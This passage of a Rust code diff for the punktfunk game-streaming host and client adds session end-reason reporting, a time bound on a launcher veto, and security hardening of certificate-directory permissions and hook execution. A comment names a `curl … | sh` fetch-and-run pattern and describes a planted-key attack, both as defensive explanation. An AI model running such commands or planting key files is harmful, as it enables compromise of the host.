AudioGapTracker { /// Most packets a single gap will ask concealment for (50 ms at the protocol's 5 ms frames). /// Crate-internal: callers only ever see `missing_before`'s already-capped count (and cbindgen -/// must not export it — it's not part of the C ABI). -const MAX_CONCEAL_PACKETS: u32 = 10; +/// must not export it — it's not part of the C ABI). `pub(crate)` for the in-core PCM decoder +/// (`abi.rs`), which sizes its no-realloc output buffer from it. +pub(crate) const MAX_CONCEAL_PACKETS: u32 = 10; impl AudioGapTracker { pub fn new() -> Self { diff --git a/crates/punktfunk-core/src/client/mod.rs b/crates/punktfunk-core/src/client/mod.rs index f9c15d8b..865f6b3f 100644 --- a/crates/punktfunk-core/src/client/mod.rs +++ b/crates/punktfunk-core/src/client/mod.rs @@ -110,6 +110,91 @@ pub struct MicUplinkStats { /// the control task is wedged, which callers treat as a closed session. const CTRL_QUEUE: usize = 32; +/// Why a session ended — [`NativeClient::end_reason`], and `punktfunk_connection_end_reason` on the +/// C surface. +/// +/// The distinction that matters to a UI is **normal vs alarming**, and it is not a spectrum: a +/// player quitting their game and a host falling off the network both arrive as "the session +/// ended", and a client with no way to separate them has to word all of them the same. Every client +/// worded them as failures. +/// +/// Ordered loosely from "the user did this on purpose" to "something went wrong". Values are part +/// of the C ABI: append only, never renumber. +#[repr(u8)] +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub enum PunktfunkEndReason { + /// Not ended (or ended before a reason could be observed). Also what an unknown future value + /// decodes to, so an older client reading a newer core degrades to "no opinion". + None = 0, + /// **This client** closed the session — the user pressed stop, or the handle was dropped. + /// Nothing to report: the UI already knows, it initiated it. + Local = 1, + /// The host's launched game exited ([`crate::quic::APP_EXITED_CLOSE_CODE`]). A normal finish, + /// and the one reason a launcher client can act on: go back to the library the title was + /// launched from rather than all the way out to host selection. + GameExited = 2, + /// The host ended the session cleanly and deliberately — an operator "End" in the console, or + /// the session simply finishing. Normal; say so plainly or say nothing. + HostEnded = 3, + /// The host closed reporting a failure of its own. Worth showing, and the host's log has the + /// detail. + HostError = 4, + /// The connection died rather than being closed: idle timeout, reset, the network going away. + /// This — and only this — is the "the host may be asleep, wake it" case. + Lost = 5, +} + +impl PunktfunkEndReason { + /// Decode the wire/ABI byte. Unknown values become [`Self::None`] rather than panicking: this + /// crosses an ABI where the writer may be newer than the reader. + pub fn from_u8(v: u8) -> Self { + match v { + 1 => Self::Local, + 2 => Self::GameExited, + 3 => Self::HostEnded, + 4 => Self::HostError, + 5 => Self::Lost, + _ => Self::None, + } + } + + /// Whether this ending is an ordinary outcome rather than something to alarm the user about. + /// + /// The single question nearly every client actually asks. `Local`, `GameExited` and `HostEnded` + /// are all things that were *meant* to happen; only a host-side failure or a dead connection + /// are not. [`Self::None`] counts as normal — no evidence of trouble is not evidence of it. + pub fn is_normal(self) -> bool { + !matches!(self, Self::HostError | Self::Lost) + } +} + +#[cfg(feature = "quic")] +impl From<&quinn::ConnectionError> for PunktfunkEndReason { + /// Classify the QUIC close. + /// + /// Only two application codes ever arrive from a host at session end: `APP_EXITED` when the + /// game it launched quit, and the teardown's own `0` (clean) / `1` (the session returned an + /// error) from `native.rs`. Anything else with an application code is a deliberate host-side + /// close we do not have a name for, which is still closer to "the host ended it" than to a + /// dead link — but a code we have never issued is more likely a fault than a courtesy, so it + /// lands in `HostError` where it will at least be visible. + fn from(e: &quinn::ConnectionError) -> Self { + match e { + quinn::ConnectionError::LocallyClosed => Self::Local, + quinn::ConnectionError::ApplicationClosed(ac) => { + match u32::try_from(u64::from(ac.error_code)) { + Ok(crate::quic::APP_EXITED_CLOSE_CODE) => Self::GameExited, + Ok(0) => Self::HostEnded, + _ => Self::HostError, + } + } + // TimedOut, Reset, VersionMismatch, TransportError, CidsExhausted, and the peer's + // transport-level close: the link failed, nobody said goodbye. + _ => Self::Lost, + } + } +} + pub struct NativeClient { // Each plane's receiver sits behind its own mutex so `NativeClient` is `Sync` and Rust // embedders can share one `Arc` across their plane threads (the same @@ -180,6 +265,9 @@ pub struct NativeClient { /// Speed-test accumulator, shared with the data-plane pump + control task. probe: Arc>, shutdown: Arc, + /// A [`PunktfunkEndReason`] as `u8`, latched with `shutdown` — see + /// [`NativeClient::end_reason`]. + end_reason: Arc, /// Deliberate-quit flag: [`NativeClient::disconnect_quit`] sets it, so the worker closes the QUIC /// connection with [`crate::quic::QUIT_CLOSE_CODE`] (a user "stop") instead of code 0 — telling the /// host to skip the keep-alive linger. A plain drop leaves it false → an unwanted-disconnect close. @@ -448,6 +536,7 @@ impl NativeClient { std::sync::mpsc::sync_channel::(CURSOR_STATE_QUEUE); let (ready_tx, ready_rx) = std::sync::mpsc::channel::>(); let shutdown = Arc::new(AtomicBool::new(false)); + let end_reason = Arc::new(AtomicU8::new(PunktfunkEndReason::None as u8)); let quit = Arc::new(AtomicBool::new(false)); let mode_slot = Arc::new(std::sync::Mutex::new(mode)); let probe = Arc::new(Mutex::new(ProbeState::default())); @@ -463,6 +552,7 @@ impl NativeClient { let host = host.to_string(); let frame_chan_w = frame_chan.clone(); let shutdown_w = shutdown.clone(); + let end_reason_w = end_reason.clone(); let quit_w = quit.clone(); let mode_slot_w = mode_slot.clone(); let probe_w = probe.clone(); @@ -538,6 +628,7 @@ impl NativeClient { clip_cmd_rx, ready_tx, shutdown: shutdown_w, + end_reason: end_reason_w, quit: quit_w, mode_slot: mode_slot_w, probe: probe_w, @@ -591,6 +682,7 @@ impl NativeClient { host_caps: negotiated.host_caps, probe, shutdown, + end_reason, quit, worker: Some(worker), frames_dropped, @@ -809,6 +901,29 @@ impl NativeClient { self.shutdown.load(Ordering::SeqCst) } + /// WHY the session ended — see [`PunktfunkEndReason`]. + /// + /// A refinement of [`is_session_ended`](Self::is_session_ended), never a substitute: it stays + /// [`PunktfunkEndReason::None`] until that is true, and every client that ignores it behaves + /// exactly as it did before this existed. + /// + /// What it is FOR: **most endings are not failures.** A client that cannot tell them apart has + /// to pick one wording for all of them, and every such client picked an error — "Session ended + /// by ", "Connection lost — the host may be asleep" — including when the player quit the + /// game themselves. This is the discriminator that lets each client stay quiet for a normal + /// finish, return to its library when a launched game exits, and reserve the alarming copy for + /// an ending that actually deserves it. + /// + /// Latches, so it is still readable while the connection is being torn down. + pub fn end_reason(&self) -> PunktfunkEndReason { + PunktfunkEndReason::from_u8(self.end_reason.load(Ordering::SeqCst)) + } + + /// Shorthand for the single most actionable reason: the host's launched game exited. + pub fn ended_because_game_exited(&self) -> bool { + self.end_reason() == PunktfunkEndReason::GameExited + } + /// Register the calling thread as latency-critical so a later /// [`hot_thread_ids`](Self::hot_thread_ids) includes it. An embedder calls this from its own /// plane threads (e.g. the Android client's decode + audio threads) to fold them into the same diff --git a/crates/punktfunk-core/src/client/pump.rs b/crates/punktfunk-core/src/client/pump.rs index e6ab8e58..8308f2e2 100644 --- a/crates/punktfunk-core/src/client/pump.rs +++ b/crates/punktfunk-core/src/client/pump.rs @@ -65,6 +65,7 @@ pub(super) async fn run_pump(args: WorkerArgs) { clip_cmd_rx, ready_tx, shutdown, + end_reason, quit, mode_slot, probe, @@ -194,12 +195,17 @@ pub(super) async fn run_pump(args: WorkerArgs) { clip_cmd_rx, )); - // Watch for connection close → stop the pump. + // Watch for connection close → stop the pump, and classify WHY. { let shutdown = shutdown.clone(); + let end_reason = end_reason.clone(); let conn = conn.clone(); tokio::spawn(async move { - conn.closed().await; + let why = conn.closed().await; + // Latch the reason BEFORE `shutdown`: the two are observed by different threads, and a + // client that reacts to the shutdown flag must never find the reason still unset. + let reason = crate::client::PunktfunkEndReason::from(&why); + end_reason.store(reason as u8, Ordering::SeqCst); shutdown.store(true, Ordering::SeqCst); }); } diff --git a/crates/punktfunk-core/src/client/worker.rs b/crates/punktfunk-core/src/client/worker.rs index 35685135..0b8e0fa5 100644 --- a/crates/punktfunk-core/src/client/worker.rs +++ b/crates/punktfunk-core/src/client/worker.rs @@ -68,6 +68,9 @@ pub(crate) struct WorkerArgs { pub(crate) clip_cmd_rx: tokio::sync::mpsc::UnboundedReceiver, pub(crate) ready_tx: std::sync::mpsc::Sender>, pub(crate) shutdown: Arc, + /// A [`crate::client::PunktfunkEndReason`] as `u8`, classified from the connection's close and + /// latched alongside `shutdown` (see [`NativeClient::end_reason`]). + pub(crate) end_reason: Arc, /// Deliberate-quit flag (see [`NativeClient::quit`]): the worker closes with the quit code if set. pub(crate) quit: Arc, pub(crate) mode_slot: Arc>, diff --git a/crates/punktfunk-core/src/lib.rs b/crates/punktfunk-core/src/lib.rs index 122486f3..60b559dd 100644 --- a/crates/punktfunk-core/src/lib.rs +++ b/crates/punktfunk-core/src/lib.rs @@ -138,7 +138,14 @@ pub use stats::Stats; /// capability-gated end to end: the wire grows a new datagram tag (0xD1) an old client never /// receives (double-gated caps), a new 0xCD kind (0x06, dropped as unknown by old clients) and /// arrival flag bits 8/9 sent only toward a capable host, so [`WIRE_VERSION`] is unchanged. -pub const ABI_VERSION: u32 = 16; +/// v17: added `punktfunk_connection_end_reason` + the `PUNKTFUNK_END_REASON_*` vocabulary — asks, +/// once a session has ended, WHY: this client closed it, the host's launched game exited (its close +/// carried [`quic::APP_EXITED_CLOSE_CODE`], which the host has sent since long before this bump +/// with nothing consuming it), the host ended it cleanly, the host reported a failure, or the +/// connection was simply lost. Purely a read of state the core already had: no new call is required +/// of an embedder, a client that never calls it is unchanged, and the host sends exactly the same +/// bytes either way, so [`WIRE_VERSION`] is unchanged. +pub const ABI_VERSION: u32 = 17; /// The punktfunk/1 **wire** version — what `Hello`/`Welcome` carry and hosts equality-check. /// Deliberately its own constant: [`ABI_VERSION`] tracks the embeddable **C surface** diff --git a/crates/punktfunk-host/src/gamelease.rs b/crates/punktfunk-host/src/gamelease.rs index d40bcfd1..ac48ff98 100644 --- a/crates/punktfunk-host/src/gamelease.rs +++ b/crates/punktfunk-host/src/gamelease.rs @@ -52,6 +52,24 @@ const EXIT_CONFIRM: Duration = Duration::from_secs(3); const SHIM_WINDOW: Duration = Duration::from_secs(5); /// How long a game gets to close on its own after a polite request, before it is killed outright. const TERM_GRACE: Duration = Duration::from_secs(10); +/// How long [`crate::procscan::running_hint`] may hold off the exit once the game's processes have +/// all gone. +/// +/// The hint is a tie-breaker for a scan that momentarily cannot see the game — a launcher re-execing, +/// an engine relaunching itself into a new pid — and those gaps are over in seconds, an order of +/// magnitude inside this window. Past it, a game nothing can find is gone whatever the hint says. +/// +/// **Bounded because the hint's backing state is not guaranteed to be truthful.** Windows reads +/// Steam's per-app `Running` registry flag, which Steam leaves set whenever it does not cleanly +/// observe the exit (Steam crashed or was closed first, the game re-parented, a launcher appid stays +/// set) — and `steam_running_hint` believes the first hive that says so, including a stale one left +/// in another profile. An UNBOUNDED veto turns that into a session that never ends on its own: the +/// console shows the game running for as long as the host does, `session_on_game_exit` never fires, +/// and only a manual "End" gets the stream back (field report 2026-08-06, Windows host 0.24.0). +/// +/// Ending a moment too early is the cheaper failure: the stream drops while the game lives (the user +/// reconnects, and `finish` never kills anything). Ending never is the bug above. +const VETO_LIMIT: Duration = Duration::from_secs(30); /// A child process the host spawned for a launch, and what may safely be signalled for it. #[derive(Clone, Copy, Debug)] @@ -248,6 +266,20 @@ pub struct LeaseRequest { pub spec: DetectSpec, /// The game's own compositor-nested-ness: `true` when a bare-spawn gamescope owns it. pub nested: bool, + /// This entry opens a LAUNCHER rather than a game (design D4), which makes the lease + /// [`LeaseKind::Untracked`] no matter what else is known about it. + /// + /// A launcher has no "the game exited" moment to detect, and trying to infer one is worse than + /// not trying. Steam is the clean counterexample: Big Picture is a *mode* of an already-running + /// Steam client, not a process — and on a Deck or SteamOS host Steam is always running — so no + /// process signal can express "the Big Picture window closed". + /// + /// Without this flag the lifetime would also be decided by something the user cannot see: + /// launching a launcher that is NOT yet running leaves the host holding a live child (tracked, + /// so quitting it ends the session), while launching one that IS running has the command + /// forward and exit inside [`SHIM_WINDOW`] (untracked, so the session persists). Same tile, two + /// behaviours. Untracked is the honest one of the two, so it is the one that always applies. + pub launcher: bool, /// The child the host spawned for this launch, when it spawned one directly, and whether it /// leads its own process group (see [`OwnedChild::group_leader`]). pub child: Option<(std::process::Child, bool)>, @@ -289,12 +321,19 @@ pub fn open(req: LeaseRequest, on_exit: OnExit) -> GameLease { plane, spec, nested, + launcher, child, launch_stamp, procs, } = req; - let kind = if nested { + // A launcher tile is untracked FIRST, before anything else is considered — see + // `LeaseRequest::launcher`. Checking it ahead of `child` is the whole point: a launcher the host + // just started leaves a live child behind, and tracking that child is exactly the inconsistency + // this removes. + let kind = if launcher { + LeaseKind::Untracked + } else if nested { LeaseKind::Nested } else if child.is_some() { LeaseKind::Child @@ -325,7 +364,14 @@ pub fn open(req: LeaseRequest, on_exit: OnExit) -> GameLease { last_seen_ms: AtomicU64::new(0), }); - if matches!(kind, LeaseKind::Untracked) { + if launcher { + tracing::info!( + title = %shared.game.title, + app = shared.game.id.as_deref().unwrap_or("-"), + "this entry opens a launcher, not a game — the session stays up until the client \ + leaves, and closing the launcher does not end it" + ); + } else if matches!(kind, LeaseKind::Untracked) { tracing::info!( title = %shared.game.title, app = shared.game.id.as_deref().unwrap_or("-"), @@ -573,29 +619,59 @@ fn watch( gone_since = None; vetoed = false; shared.last_seen_ms.store(now_ms(), Ordering::Relaxed); - } else if gone_since.get_or_insert_with(Instant::now).elapsed() >= EXIT_CONFIRM { - // Last check before ending a session: does anything outside the process scan still think - // the game is up? Only a veto, never a reason to call it running — see - // `procscan::running_hint`. The failure mode of honoring it is a stream that stays up. - if crate::procscan::running_hint(&shared.spec) == Some(true) { - if !vetoed { - vetoed = true; - tracing::info!( - title = %shared.game.title, - "no game processes found, but its launcher still reports it running — not \ - ending the session" - ); + } else { + // How long the game's processes have been CONTINUOUSLY absent. Deliberately not reset by + // the veto below — letting it run on is exactly what bounds the veto. + let gone_for = gone_since.get_or_insert_with(Instant::now).elapsed(); + if gone_for >= EXIT_CONFIRM { + // Last check before ending a session: does anything outside the process scan still + // think the game is up? Only a veto, never a reason to call it running — see + // `procscan::running_hint`. + let hint_running = crate::procscan::running_hint(&shared.spec) == Some(true); + if !exit_confirmed(gone_for, hint_running) { + if !vetoed { + vetoed = true; + tracing::info!( + title = %shared.game.title, + veto_limit_s = VETO_LIMIT.as_secs(), + "no game processes found, but its launcher still reports it running — \ + holding off on ending the session" + ); + } + } else { + if hint_running { + // The veto outlived its usefulness: nothing this scan can see has existed + // for VETO_LIMIT, so the launcher's opinion is stale, not early. + tracing::warn!( + title = %shared.game.title, + gone_for_s = gone_for.as_secs(), + "its launcher still reports the game running, but nothing of it has \ + been on the box for {}s — treating that as a stale flag and ending \ + the session", + VETO_LIMIT.as_secs() + ); + } + finish(&shared, &on_exit, "the game exited"); + return; } - gone_since = None; - } else { - finish(&shared, &on_exit, "the game exited"); - return; } } std::thread::sleep(POLL); } } +/// Whether a game nothing can find any more counts as exited: absent for at least [`EXIT_CONFIRM`], +/// and either unopposed or absent long enough that the opposition ([`crate::procscan::running_hint`] +/// saying `Some(true)`) has been overruled by [`VETO_LIMIT`]. +/// +/// Split out of the watch loop because it is the one rule in this file whose *bound* is the fix: +/// the loop itself polls a live process table and cannot be unit-tested, which is how an unbounded +/// veto shipped. Pure, so the table below is the whole contract. +#[cfg(any(target_os = "linux", windows))] +fn exit_confirmed(gone_for: Duration, hint_running: bool) -> bool { + gone_for >= EXIT_CONFIRM && (!hint_running || gone_for >= VETO_LIMIT) +} + /// Record the exit and, unless the host itself ended the game, run the session-ending action. #[cfg(any(target_os = "linux", windows))] fn finish(shared: &Arc, on_exit: &OnExit, why: &str) { @@ -1113,6 +1189,7 @@ mod tests { plane: crate::events::Plane::Native, spec, nested, + launcher: false, child: None, // No start-time floor: these leases are never matched against real processes. launch_stamp: None, @@ -1121,6 +1198,55 @@ mod tests { } } + /// Design D4: an entry that opens a LAUNCHER is untracked, whatever else is known about it. + /// + /// Both cases below are the same tile - "Steam Big Picture" - differing only in whether Steam + /// happened to be running already, which the user cannot see: + /// + /// * not running: the host's spawned child stays alive, which would otherwise be a `Child` + /// lease, so quitting the launcher would end the session; + /// * already running: the command forwards to the live instance and exits inside + /// `SHIM_WINDOW`, leaving nothing to track, so the session would persist. + /// + /// Untracked is the honest answer of the two. Big Picture is a *mode* of an already-running + /// Steam client rather than a process, and on a Deck or SteamOS host Steam is always running, + /// so no process signal can express "the launcher's window closed". Pinning it here keeps the + /// tile's behaviour from depending on invisible state. + #[test] + fn a_launcher_entry_is_untracked_however_it_was_started() { + // Already running: nothing held, nothing to detect. + let mut r = req("steam:big-picture", DetectSpec::default(), false); + r.launcher = true; + let lease = open(r, Box::new(|| {})); + assert!(matches!(lease.shared().kind, LeaseKind::Untracked)); + assert!(!lease.shared().is_trackable()); + + // Not running: the entry also carries detect signals, which would normally make this a + // `Matched` lease. `launcher` outranks them. + let mut r = req( + "steam:big-picture-2", + DetectSpec::exe("/usr/bin/steam"), + false, + ); + r.launcher = true; + assert!( + !r.spec.is_empty(), + "the guard is only meaningful with signals" + ); + let lease = open(r, Box::new(|| {})); + assert!(matches!(lease.shared().kind, LeaseKind::Untracked)); + assert!(!lease.shared().is_trackable()); + + // The same request WITHOUT the flag is tracked - so the assertions above are the flag's + // doing, not an artifact of the fixture. + let plain = open( + req("steam:570", DetectSpec::exe("/usr/bin/steam"), false), + Box::new(|| {}), + ); + assert!(matches!(plain.shared().kind, LeaseKind::Matched)); + assert!(plain.shared().is_trackable()); + } + /// Is a lease for `id` currently on probation? fn is_pending(id: &str) -> bool { pending_snapshot() @@ -1128,6 +1254,34 @@ mod tests { .any(|(s, _)| s.game.id.as_deref() == Some(id)) } + /// The exit rule, including the thing that was missing: the veto ENDS. + /// + /// Field 2026-08-06 (Windows 0.24.0): Steam's per-app `Running` flag was left set after the game + /// exited, the watcher honoured it on every pass and reset its own confirm window each time, so + /// the game read as running for the life of the host and the stream never auto-ended. The last + /// case below is that regression. + #[cfg(any(target_os = "linux", windows))] + #[test] + fn the_launcher_veto_expires_instead_of_pinning_a_session_open() { + let brief = EXIT_CONFIRM / 2; + let confirmed = EXIT_CONFIRM + Duration::from_secs(1); + let long = VETO_LIMIT + Duration::from_secs(1); + + // Too early to call it either way — a process swap is still plausible. + assert!(!exit_confirmed(brief, false)); + assert!(!exit_confirmed(brief, true)); + // Gone past the confirm window with nothing objecting: exited. + assert!(exit_confirmed(confirmed, false)); + // Same, but the launcher objects — that is what the veto is FOR, so hold off. + assert!(!exit_confirmed(confirmed, true)); + // …and this is the bound. Still objecting, but nothing of the game has existed for + // VETO_LIMIT, so the objection is stale and the session ends anyway. + assert!(exit_confirmed(long, true)); + assert!(exit_confirmed(long, false)); + // (The middle two cases together also pin VETO_LIMIT > EXIT_CONFIRM: a veto that did not + // outlast the window it overrides could never hold anything off in the first place.) + } + #[test] fn kind_follows_what_the_launch_gave_us() { // Nested wins over everything: the display layer owns the lifetime. @@ -1271,6 +1425,7 @@ mod tests { // A real signal that no process will ever match — the game never shows up. spec: DetectSpec::steam(999_001), nested: false, + launcher: false, child: Some((child, false)), launch_stamp: None, procs: None, @@ -1330,6 +1485,7 @@ mod tests { plane: crate::events::Plane::Native, spec: DetectSpec::dir(td.path()), nested: false, + launcher: false, child: Some((child, true)), launch_stamp, procs: None, diff --git a/crates/punktfunk-host/src/gamestream/apps.rs b/crates/punktfunk-host/src/gamestream/apps.rs index a2972357..e74260ae 100644 --- a/crates/punktfunk-host/src/gamestream/apps.rs +++ b/crates/punktfunk-host/src/gamestream/apps.rs @@ -245,6 +245,19 @@ mod tests { } } + /// The migration invariant D2 exists to protect. Moonlight caches app ids (and users pin them), + /// and the id is derived from the LIBRARY ID alone — so a title moving from the in-host scanner + /// to a claimed plugin entry keeps its GameStream id iff the library id is byte-identical. This + /// pins that the claimed shape is that shape, and that an unclaimed one would NOT have been. + #[test] + fn a_claimed_plugin_entry_keeps_the_scanners_gamestream_id() { + // What the built-in scanner produced, and what the steam plugin produces once it claims. + assert_eq!(stable_app_id("steam:440"), stable_app_id("steam:440")); + // The same title reconciled WITHOUT a claim gets an opaque `custom:` id — a different app + // id, i.e. exactly the breakage the claim prevents. + assert_ne!(stable_app_id("steam:440"), stable_app_id("custom:9f2c1a")); + } + #[test] fn append_library_dedups_against_base_ids() { // A base app whose id happens to fall in the library range must not be clobbered by a library diff --git a/crates/punktfunk-host/src/gamestream/cert.rs b/crates/punktfunk-host/src/gamestream/cert.rs index 9276fd14..abd9ac09 100644 --- a/crates/punktfunk-host/src/gamestream/cert.rs +++ b/crates/punktfunk-host/src/gamestream/cert.rs @@ -26,6 +26,14 @@ impl ServerIdentity { let dir = config_dir(); let cert_path = dir.join("cert.pem"); let key_path = dir.join("key.pem"); + // Harden the directory BEFORE the first read, not only in the branch that generates a new + // identity (2026-08-05 review M-1). Reading first is what made the hardening pointless + // against the attack it was written for: combined with H-4's pre-creatable + // `%ProgramData%\punktfunk`, a local user could plant a cert/key pair and have it adopted + // verbatim as the host's long-lived identity — the QUIC server key, the mgmt-API TLS key and + // the RSA pairing signer all becoming a key the attacker holds. The compromise is permanent: + // this function never regenerates while both files are non-empty. + pf_paths::create_private_dir(&dir).ok(); let (cert_pem, key_pem) = match ( fs::read_to_string(&cert_path), fs::read_to_string(&key_path), @@ -35,8 +43,8 @@ impl ServerIdentity { let (c, k) = generate()?; // The private key is the trust root for EVERY surface (TLS server cert, pairing // signing, the QUIC identity clients pin) — write it owner-only (0600 / SYSTEM-only - // DACL) so a local user can't read it and impersonate the host. The dir is 0700. - pf_paths::create_private_dir(&dir).ok(); + // DACL) so a local user can't read it and impersonate the host. The dir is already + // 0700 / SYSTEM+Admins from the unconditional hardening above. pf_paths::write_secret_file(&key_path, k.as_bytes()) .with_context(|| format!("write {}", key_path.display()))?; // The cert is public (handed to clients), but write it owner-only too for consistency. diff --git a/crates/punktfunk-host/src/gamestream/stream.rs b/crates/punktfunk-host/src/gamestream/stream.rs index 2c4610f6..41f5d824 100644 --- a/crates/punktfunk-host/src/gamestream/stream.rs +++ b/crates/punktfunk-host/src/gamestream/stream.rs @@ -428,6 +428,7 @@ fn run( plane: crate::events::Plane::Gamestream, spec: t.detect.clone(), nested, + launcher: t.launcher, child, launch_stamp, // For an adopted launch this is the ORIGINAL launch's slot, so the record keeps @@ -645,6 +646,9 @@ fn open_gs_mirror_source( /// run it. struct GsApp { game: crate::gamelease::GameRef, + /// This entry opens a LAUNCHER rather than a game (design D4) — carried through from + /// [`crate::library::LaunchTarget`] so the lease can stay untracked for it. + launcher: bool, detect: crate::library::DetectSpec, /// The resolved shell command. `Some` on Linux, which runs it itself; `None` for a Windows /// library title, which launches by id through the interactive-session spawner instead. @@ -666,6 +670,7 @@ fn resolve_gs_app(app: Option<&super::apps::AppEntry>) -> Option { Some(t) => { return Some(GsApp { game: t.game, + launcher: t.launcher, detect: t.detect, command: t.command, }) @@ -684,6 +689,8 @@ fn resolve_gs_app(app: Option<&super::apps::AppEntry>) -> Option { .map(str::trim) .filter(|c| !c.is_empty())?; Some(GsApp { + // An operator-typed command has no library entry behind it, so it is never a launcher tile. + launcher: false, game: crate::gamelease::GameRef { id: None, store: None, diff --git a/crates/punktfunk-host/src/hooks.rs b/crates/punktfunk-host/src/hooks.rs index a980f3ca..2829572b 100644 --- a/crates/punktfunk-host/src/hooks.rs +++ b/crates/punktfunk-host/src/hooks.rs @@ -432,44 +432,124 @@ fn flatten_env(ev: &crate::events::HostEvent) -> Vec<(String, String)> { out } -/// The sshd/sudoers rule (RFC §9.1): when the command's first token is a path to an existing -/// file, refuse to run it unless it is owned by the host user (or root) and not -/// group/world-writable — a world-writable hook script is privilege escalation bait. A bare -/// command name (`systemctl`, `curl`) is left to PATH. +/// The sshd/sudoers rule (RFC §9.1): refuse to run a command that references a script/binary which +/// is group/world-writable, or owned by neither the host user nor root — a world-writable hook +/// script is privilege-escalation bait. A bare command name (`systemctl`, `curl`) is left to PATH. +/// +/// **This is a hygiene rule, not an authorization gate**, and the distinction matters: it +/// constrains *who owns the file being run*, never *what the command does*. `curl … | sh` and +/// `python3 -c '…'` are unconstrained by construction, and `/bin/sh -c ''` passes because +/// `/bin/sh` is root-owned. Whoever may WRITE a hook already has command execution as the host +/// user — which is why writing them is admin-only. A pass here does not mean "this command is +/// safe", and nothing should be granted on the strength of it. +/// +/// It checks EVERY absolute-path token, not just the first (2026-08-05 review L-12). Looking only +/// at `cmd.split_whitespace().next()` meant `bash /opt/x/hook.sh`, `sh -c /tmp/x` and any quoted +/// path skipped the check entirely — so the interpreter was vetted and the script it ran was not, +/// which is backwards: the script is the part an attacker can plant. #[cfg(unix)] fn exec_path_check(cmd: &str) -> Result<(), String> { use std::os::unix::fs::MetadataExt; - let Some(first) = cmd.split_whitespace().next() else { + if cmd.split_whitespace().next().is_none() { return Err("empty command".into()); - }; - if !first.starts_with('/') { - return Ok(()); - } - let meta = match std::fs::metadata(first) { - Ok(m) => m, - Err(_) => return Ok(()), // not an existing file — the shell will report it - }; - if !meta.is_file() { - return Ok(()); } // SAFETY: geteuid has no preconditions and touches no memory. let euid = unsafe { libc::geteuid() }; - if meta.uid() != euid && meta.uid() != 0 { - return Err(format!( - "{first} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ - owned by the operator or root", - meta.uid() - )); - } - if meta.mode() & 0o022 != 0 { - return Err(format!( - "{first} is group/world-writable (mode {:o}) — chmod go-w it first", - meta.mode() & 0o7777 - )); + for raw in cmd.split_whitespace() { + // Tolerate the quoting a hand-written command line carries — a path that is absolute only + // after unquoting is exactly as plantable as a bare one. + let token = raw.trim_matches(|c| c == '"' || c == '\''); + if !token.starts_with('/') { + continue; + } + let meta = match std::fs::metadata(token) { + Ok(m) => m, + Err(_) => continue, // not an existing file — the shell will report it + }; + if !meta.is_file() { + continue; + } + if meta.uid() != euid && meta.uid() != 0 { + return Err(format!( + "{token} is owned by uid {} (host runs as uid {euid}) — hook scripts must be \ + owned by the operator or root", + meta.uid() + )); + } + if meta.mode() & 0o022 != 0 { + return Err(format!( + "{token} is group/world-writable (mode {:o}) — chmod go-w it first", + meta.mode() & 0o7777 + )); + } } Ok(()) } +/// Whether this process is running as `NT AUTHORITY\SYSTEM` (S-1-5-18) — i.e. as the SCM service +/// rather than as the operator's own console process. +/// +/// Used to decide whether the in-process hook fallback is acceptable: as the operator it is the +/// privilege they already have, as SYSTEM it is an elevation the hook contract forbids +/// (2026-08-05 review L-13). Fails CLOSED — an unreadable token is treated as SYSTEM, because the +/// consequence of guessing wrong in that direction is a skipped hook, and in the other direction +/// it is a SYSTEM command. +#[cfg(windows)] +fn running_as_system() -> bool { + use windows::Win32::Foundation::HANDLE; + use windows::Win32::Security::{ + CreateWellKnownSid, EqualSid, GetTokenInformation, TokenUser, WinLocalSystemSid, PSID, + SECURITY_MAX_SID_SIZE, TOKEN_QUERY, TOKEN_USER, + }; + use windows::Win32::System::Threading::{GetCurrentProcess, OpenProcessToken}; + + let mut token = HANDLE::default(); + // SAFETY: pseudo-handle from GetCurrentProcess; `token` is a live out-param. + if unsafe { OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) }.is_err() { + return true; // fail closed + } + let mut buf = [0u8; 256]; + let mut len = 0u32; + // SAFETY: `buf` is a writable local of the length passed; `len` is a live out-param. + let got = unsafe { + GetTokenInformation( + token, + TokenUser, + Some(buf.as_mut_ptr().cast()), + buf.len() as u32, + &mut len, + ) + }; + // SAFETY: the token handle came from OpenProcessToken and is not used after this. + unsafe { + let _ = windows::Win32::Foundation::CloseHandle(token); + } + if got.is_err() { + return true; // fail closed + } + let mut system = [0u8; SECURITY_MAX_SID_SIZE as usize]; + let mut cb = system.len() as u32; + // SAFETY: the buffer is SECURITY_MAX_SID_SIZE, the documented maximum SID size. + if unsafe { + CreateWellKnownSid( + WinLocalSystemSid, + None, + Some(PSID(system.as_mut_ptr().cast())), + &mut cb, + ) + } + .is_err() + { + return true; // fail closed + } + // SAFETY: `buf` holds a TOKEN_USER written by GetTokenInformation; its `User.Sid` points into + // the same buffer, and both SIDs are valid for this comparison. + unsafe { + let tu = &*(buf.as_ptr() as *const TOKEN_USER); + EqualSid(tu.User.Sid, PSID(system.as_mut_ptr().cast())).is_ok() + } +} + #[cfg(not(unix))] fn exec_path_check(_cmd: &str) -> Result<(), String> { // Windows: hooks.json lives in the SYSTEM/Admins-DACL'd config dir and the command runs in @@ -580,7 +660,33 @@ fn run_hook_process( // report "ran" (prep `undo`s stay armed). true } + Err(e) if running_as_system() => { + // NO in-process fallback when we are SYSTEM. + // + // `spawn_in_active_session` fails whenever there is no interactive user — pre-login, at + // boot, on a logged-off box — and the fallback below then ran the operator's command + // line through `cmd.exe /C` IN THIS PROCESS. As the SCM service that process is + // LocalSystem, so a hook the module contract promises runs "in the interactive session, + // never SYSTEM" quietly became a SYSTEM command, at the exact moments nobody is watching + // the screen, with no ownership check on the script (`exec_path_check` is a no-op on + // Windows) — 2026-08-05 review L-13. + // + // Refusing is the honest behaviour: the contract says these run as the user, and if + // there is no user there is nothing to run them as. A hook that must run without a + // logged-in user belongs in a service, not here. + tracing::warn!( + cmd = %cmd, + error = %format!("{e:#}"), + "hook SKIPPED: no interactive user session to run it in, and this host is SYSTEM — \ + hooks run as the logged-in user by design and are never elevated to SYSTEM" + ); + let _ = std::fs::remove_file(&json_path); + false + } Err(e) => { + // Not SYSTEM (a hand-run `punktfunk-host serve` in the operator's own console): running + // in-process is the same privilege the operator already has, which is the whole trust + // model for hooks. tracing::debug!(error = %format!("{e:#}"), "interactive-session spawn unavailable — running hook in-console"); let mut ok = false; diff --git a/crates/punktfunk-host/src/library.rs b/crates/punktfunk-host/src/library.rs index a1eb1105..a1a24ffd 100644 --- 